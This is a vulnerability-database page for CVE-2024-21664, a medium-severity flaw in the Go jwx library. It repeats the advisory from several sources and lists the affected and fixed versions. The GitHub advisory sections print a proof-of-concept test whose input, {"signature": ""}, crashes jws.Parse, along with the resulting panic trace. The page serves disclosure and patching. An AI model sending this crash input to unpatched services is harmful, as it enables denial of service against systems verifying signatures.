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CVE-2024-21664

Parsing JSON serialized payload without protected field can lead to segfault

4.3 MediumFix available

jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.86%Up 0.8 points since Jan 18, 2024
90%50%10%1%

What each source reports

CVE List Score used 4.3

Parsing JSON serialized payload without protected field can lead to segfault

jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.

Record
CVE-2024-21664
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-476
Updated
2026-11-02
EUVDEUVD-2024-0395 4.3

jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.

Record
EUVD-2024-0395
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-pvcr-v8j8-j5q3 4.3

Parsing JSON serialized payload without protected field can lead to segfault

Summary

Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.

Details

This seems to also affect other functions that calls Parse internally, like jws.Verify.

My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.

Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.

PoC

Reproducer:

package poc

import (
        "testing"

        "github.com/lestrrat-go/jwx/v2/jws"
)

func TestPOC(t *testing.T) {
        _, _ = jws.Parse([]byte(`{"signature": ""}`))
}

Result:

$ go test        
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
        panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]

goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
        /usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
        /usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
        /usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
        /usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
        /usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
        /usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
        /usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
        /home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
        /usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
        /usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL    poc     0.005s

Impact

The vulnerability can be used to crash / DOS a system doing JWS verification.

Record
GHSA-pvcr-v8j8-j5q3
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-476
Updated
2026-11-02
NVD 4.3

jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.

Record
CVE-2024-21664
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
OSV 4.3

Parsing JSON serialized payload without protected field can lead to segfault

jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference. The vulnerability can be used to crash/DOS a system doing JWS verification. This vulnerability has been patched in versions 2.0.19 and 1.2.28.

Record
CVE-2024-21664
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-476
Updated
2026-11-02
OSVGHSA-pvcr-v8j8-j5q3 4.3

Parsing JSON serialized payload without protected field can lead to segfault

Summary

Calling jws.Parse with a JSON serialized payload where the signature field is present while protected is absent can lead to a nil pointer dereference.

Details

This seems to also affect other functions that calls Parse internally, like jws.Verify.

My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.

Based on the stack trace in the PoC, the issue seems to be that the processing done in jws/message.go:UnmarshalJSON() assumes that if a signature field is present, then a protected field is also present. If this is not the case, then the subsequent call to getB64Value(sig.protected) will dereference sig.protected, which is nil.

PoC

Reproducer:

package poc

import (
        "testing"

        "github.com/lestrrat-go/jwx/v2/jws"
)

func TestPOC(t *testing.T) {
        _, _ = jws.Parse([]byte(`{"signature": ""}`))
}

Result:

$ go test        
--- FAIL: TestPOC (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
        panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]

goroutine 6 [running]:
testing.tRunner.func1.2({0x628800, 0x831030})
        /usr/local/go/src/testing/testing.go:1545 +0x238
testing.tRunner.func1()
        /usr/local/go/src/testing/testing.go:1548 +0x397
panic({0x628800?, 0x831030?})
        /usr/local/go/src/runtime/panic.go:914 +0x21f
github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:484 +0x18
github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/message.go:323 +0x4ad
encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})
        /usr/local/go/src/encoding/json/decode.go:604 +0x6cc
encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})
        /usr/local/go/src/encoding/json/decode.go:374 +0x3e
encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})
        /usr/local/go/src/encoding/json/decode.go:181 +0x133
encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})
        /usr/local/go/src/encoding/json/stream.go:73 +0x179
github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/internal/json/json.go:26 +0x97
github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:588 +0x50
github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})
        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/[email protected]/jws/jws.go:525 +0x89
poc.TestPOC(0x0?)
        /home/fredrik/src/jwx_poc/poc_test.go:10 +0x57
testing.tRunner(0xc0000e4340, 0x68ef30)
        /usr/local/go/src/testing/testing.go:1595 +0xff
created by testing.(*T).Run in goroutine 1
        /usr/local/go/src/testing/testing.go:1648 +0x3ad
exit status 2
FAIL    poc     0.005s

Impact

The vulnerability can be used to crash / DOS a system doing JWS verification.

Record
GHSA-pvcr-v8j8-j5q3
CVSS 3.1
4.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-476
Updated
2026-11-02
OSVGO-2024-2454 No score

Panic due to nil pointer dereference in github.com/lestrrat-go/jwx/v2

Panic due to nil pointer dereference in github.com/lestrrat-go/jwx/v2

Record
GO-2024-2454
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/lestrrat-go/jwx/v2
Go
before 2.0.19
2.0.19
github.com/lestrrat-go/jwx
Go
1.0.8 up to 1.2.28
1.2.28

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-21664 is a medium vulnerability (CVSS 4.3) in Lestrrat-go Jwx, published January 9, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.86%, the 58th percentile. Fixed in github.com/lestrrat-go/jwx/v2 2.0.19.

References

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